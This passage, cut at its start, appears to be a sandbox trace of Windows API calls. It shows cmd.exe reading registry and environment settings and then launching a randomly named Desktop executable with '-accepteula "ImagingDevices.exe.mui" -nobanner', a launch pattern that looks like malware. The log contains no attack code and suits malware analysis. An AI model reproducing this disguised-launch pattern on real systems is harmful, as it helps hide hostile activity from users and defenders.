lpType=0x1eece4*=0x4, lpData=0x1eece8*=0x40, lpcbData=0x1eece0*=0x4) returned 0x0 [0090.189] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1eece4, lpData=0x1eece8, lpcbData=0x1eece0*=0x1000 | out: lpType=0x1eece4*=0x4, lpData=0x1eece8*=0x40, lpcbData=0x1eece0*=0x4) returned 0x0 [0090.189] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1eece4, lpData=0x1eece8, lpcbData=0x1eece0*=0x1000 | out: lpType=0x1eece4*=0x0, lpData=0x1eece8*=0x40, lpcbData=0x1eece0*=0x1000) returned 0x2 [0090.189] RegCloseKey (hKey=0x68) returned 0x0 [0090.189] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1eecdc | out: phkResult=0x1eecdc*=0x68) returned 0x0 [0090.190] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1eece4, lpData=0x1eece8, lpcbData=0x1eece0*=0x1000 | out: lpType=0x1eece4*=0x0, lpData=0x1eece8*=0x40, lpcbData=0x1eece0*=0x1000) returned 0x2 [0090.190] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1eece4, lpData=0x1eece8, lpcbData=0x1eece0*=0x1000 | out: lpType=0x1eece4*=0x4, lpData=0x1eece8*=0x1, lpcbData=0x1eece0*=0x4) returned 0x0 [0090.190] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1eece4, lpData=0x1eece8, lpcbData=0x1eece0*=0x1000 | out: lpType=0x1eece4*=0x0, lpData=0x1eece8*=0x1, lpcbData=0x1eece0*=0x1000) returned 0x2 [0090.190] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1eece4, lpData=0x1eece8, lpcbData=0x1eece0*=0x1000 | out: lpType=0x1eece4*=0x4, lpData=0x1eece8*=0x0, lpcbData=0x1eece0*=0x4) returned 0x0 [0090.190] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1eece4, lpData=0x1eece8, lpcbData=0x1eece0*=0x1000 | out: lpType=0x1eece4*=0x4, lpData=0x1eece8*=0x9, lpcbData=0x1eece0*=0x4) returned 0x0 [0090.190] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1eece4, lpData=0x1eece8, lpcbData=0x1eece0*=0x1000 | out: lpType=0x1eece4*=0x4, lpData=0x1eece8*=0x9, lpcbData=0x1eece0*=0x4) returned 0x0 [0090.190] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1eece4, lpData=0x1eece8, lpcbData=0x1eece0*=0x1000 | out: lpType=0x1eece4*=0x0, lpData=0x1eece8*=0x9, lpcbData=0x1eece0*=0x1000) returned 0x2 [0090.190] RegCloseKey (hKey=0x68) returned 0x0 [0090.190] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710ec [0090.190] srand (_Seed=0x5e2710ec) [0090.190] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"ImagingDevices.exe.mui\" -nobanner" [0090.190] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"ImagingDevices.exe.mui\" -nobanner" [0090.190] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0090.190] GetProcessHeap () returned 0x4f0000 [0090.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x210) returned 0x504508 [0090.191] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x504510, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0090.191] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0090.191] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0090.191] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0090.191] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0090.191] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0090.191] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0090.191] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0090.191] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0090.191] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0090.191] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0090.191] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0090.191] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0090.191] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0090.191] GetProcessHeap () returned 0x4f0000 [0090.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x54) returned 0x504720 [0090.191] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1efaa8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0090.191] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1efaa8, lpFilePart=0x1efaa4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1efaa4*="Desktop") returned 0x25 [0090.191] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0090.191] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1ef824 | out: lpFindFileData=0x1ef824*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x5020a8 [0090.192] FindClose (in: hFindFile=0x5020a8 | out: hFindFile=0x5020a8) returned 1 [0090.192] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1ef824 | out: lpFindFileData=0x1ef824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x5020a8 [0090.192] FindClose (in: hFindFile=0x5020a8 | out: hFindFile=0x5020a8) returned 1 [0090.192] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0090.192] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1ef824 | out: lpFindFileData=0x1ef824*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x5020a8 [0090.192] FindClose (in: hFindFile=0x5020a8 | out: hFindFile=0x5020a8) returned 1 [0090.192] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0090.192] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0090.192] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0090.192] GetProcessHeap () returned 0x4f0000 [0090.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502dc8 | out: hHeap=0x4f0000) returned 1 [0090.192] GetEnvironmentStringsW () returned 0x502228* [0090.192] GetProcessHeap () returned 0x4f0000 [0090.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb94) returned 0x502dc8 [0090.192] FreeEnvironmentStringsW (penv=0x502228) returned 1 [0090.192] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0090.192] GetProcessHeap () returned 0x4f0000 [0090.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504720 | out: hHeap=0x4f0000) returned 1 [0090.192] GetProcessHeap () returned 0x4f0000 [0090.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400e) returned 0x504f80 [0090.193] GetProcessHeap () returned 0x4f0000 [0090.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x502228 [0090.193] GetProcessHeap () returned 0x4f0000 [0090.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504f80 | out: hHeap=0x4f0000) returned 1 [0090.193] GetConsoleOutputCP () returned 0x1b5 [0090.193] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0090.193] GetUserDefaultLCID () returned 0x409 [0090.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0090.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1efbe8, cchData=128 | out: lpLCData="0") returned 2 [0090.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1efbe8, cchData=128 | out: lpLCData="0") returned 2 [0090.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1efbe8, cchData=128 | out: lpLCData="1") returned 2 [0090.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0090.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0090.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0090.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0090.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0090.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0090.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0090.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0090.194] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0090.194] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0090.195] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0090.197] GetProcessHeap () returned 0x4f0000 [0090.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20c) returned 0x5022b8 [0090.197] GetConsoleTitleW (in: lpConsoleTitle=0x5022b8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0090.197] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0090.197] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0090.197] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0090.197] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0090.198] GetProcessHeap () returned 0x4f0000 [0090.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400a) returned 0x504f80 [0090.198] GetProcessHeap () returned 0x4f0000 [0090.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504f80 | out: hHeap=0x4f0000) returned 1 [0090.199] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0090.199] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0090.199] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0090.199] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0090.199] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0090.199] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0090.199] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0090.199] GetProcessHeap () returned 0x4f0000 [0090.199] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x58) returned 0x504720 [0090.199] GetProcessHeap () returned 0x4f0000 [0090.199] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x22) returned 0x5024d0 [0090.200] GetProcessHeap () returned 0x4f0000 [0090.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x68) returned 0x502500 [0090.201] GetConsoleTitleW (in: lpConsoleTitle=0x1ef8e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0090.202] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0090.202] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0090.203] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0090.204] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0090.204] GetProcessHeap () returned 0x4f0000 [0090.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x210) returned 0x502570 [0090.204] GetProcessHeap () returned 0x4f0000 [0090.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x82) returned 0x502788 [0090.204] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0090.205] GetProcessHeap () returned 0x4f0000 [0090.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x418) returned 0x502818 [0090.205] SetErrorMode (uMode=0x0) returned 0x0 [0090.205] SetErrorMode (uMode=0x1) returned 0x0 [0090.205] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x502820, lpFilePart=0x1ef400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1ef400*="Desktop") returned 0x25 [0090.205] SetErrorMode (uMode=0x0) returned 0x1 [0090.205] GetProcessHeap () returned 0x4f0000 [0090.205] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x502818, Size=0x6e) returned 0x502818 [0090.205] GetProcessHeap () returned 0x4f0000 [0090.205] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x502818) returned 0x6e [0090.205] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0090.205] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0090.205] GetProcessHeap () returned 0x4f0000 [0090.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x120) returned 0x502890 [0090.205] GetProcessHeap () returned 0x4f0000 [0090.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x238) returned 0x5029b8 [0090.211] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5029b8, Size=0x122) returned 0x5029b8 [0090.211] GetProcessHeap () returned 0x4f0000 [0090.211] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5029b8) returned 0x122 [0090.211] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0090.211] GetProcessHeap () returned 0x4f0000 [0090.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xe0) returned 0x502ae8 [0090.211] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x502ae8, Size=0x76) returned 0x502ae8 [0090.211] GetProcessHeap () returned 0x4f0000 [0090.211] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x502ae8) returned 0x76 [0090.213] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0090.213] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x1ef19c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef19c) returned 0x502b68 [0090.213] GetProcessHeap () returned 0x4f0000 [0090.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x502ba8 [0090.213] FindClose (in: hFindFile=0x502b68 | out: hFindFile=0x502b68) returned 1 [0090.213] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0090.213] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0090.213] GetConsoleTitleW (in: lpConsoleTitle=0x1ef674, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0090.407] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ef4fc, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ef5c4 | out: lpAttributeList=0x1ef4fc, lpSize=0x1ef5c4) returned 1 [0090.407] UpdateProcThreadAttribute (in: lpAttributeList=0x1ef4fc, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ef5bc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ef4fc, lpPreviousValue=0x0) returned 1 [0090.413] GetStartupInfoW (in: lpStartupInfo=0x1ef4b8 | out: lpStartupInfo=0x1ef4b8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0090.420] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0090.466] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"ImagingDevices.exe.mui\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1ef558*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"ImagingDevices.exe.mui\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ef5a4 | out: lpCommandLine="bv6ncK8c.exe -accepteula \"ImagingDevices.exe.mui\" -nobanner", lpProcessInformation=0x1ef5a4*(hProcess=0x78, hThread=0x74, dwProcessId=0xd5c, dwThreadId=0xd60)) returned 1 [0090.482] CloseHandle (hObject=0x74) returned 1 